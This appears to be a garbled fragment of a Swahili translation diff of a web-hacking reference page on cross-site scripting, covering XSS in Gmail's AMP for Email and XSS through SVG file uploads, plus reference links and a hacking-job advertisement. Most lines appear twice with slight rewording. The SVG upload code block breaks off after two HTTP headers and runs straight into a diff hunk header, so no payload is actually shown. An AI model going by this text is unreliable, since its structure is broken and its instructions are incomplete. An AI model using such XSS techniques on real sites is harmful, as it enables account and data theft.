AMP, ikilenga kuharakisha utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha vitambulisho vya HTML vinavyosaidiwa na JavaScript kuhakikisha utendaji kwa kuzingatia kasi na usalama. Inasaidia anuwai ya vipengee kwa huduma mbalimbali, inayopatikana kupitia [vipengee vya AMP](https://amp.dev/documentation/components/?format=websites).
Muundo wa [**AMP kwa Barua pepe**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) unapanua vipengee maalum vya AMP kwa barua pepe, kuruhusu wapokeaji kuingiliana na yaliyomo moja kwa moja ndani ya barua pepe zao.
Muundo wa [**AMP kwa Barua pepe**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) unapanua vipengee maalum vya AMP kwa barua pepe, ikiruhusu wapokeaji kuingiliana na yaliyomo moja kwa moja ndani ya barua pepe zao.
Mfano wa [**maandishi XSS katika Amp4Email kwenye Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
Mfano wa [**maandishi XSS katika Amp4Email katika Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS kupakia faili (svg)
Pakia kama picha faili kama ifuatavyo (kutoka [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
Pakia kama picha faili kama ile ifuatayo (kutoka [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
@ -1413,9 +1411,9 @@ Pata **mizigo zaidi ya SVG** katika [**https://github.com/allanlw/svg-cheatsheet
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_inahitajika uwezo wa kuzungumza na kuandika Kipolishi kwa ufasaha_).
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}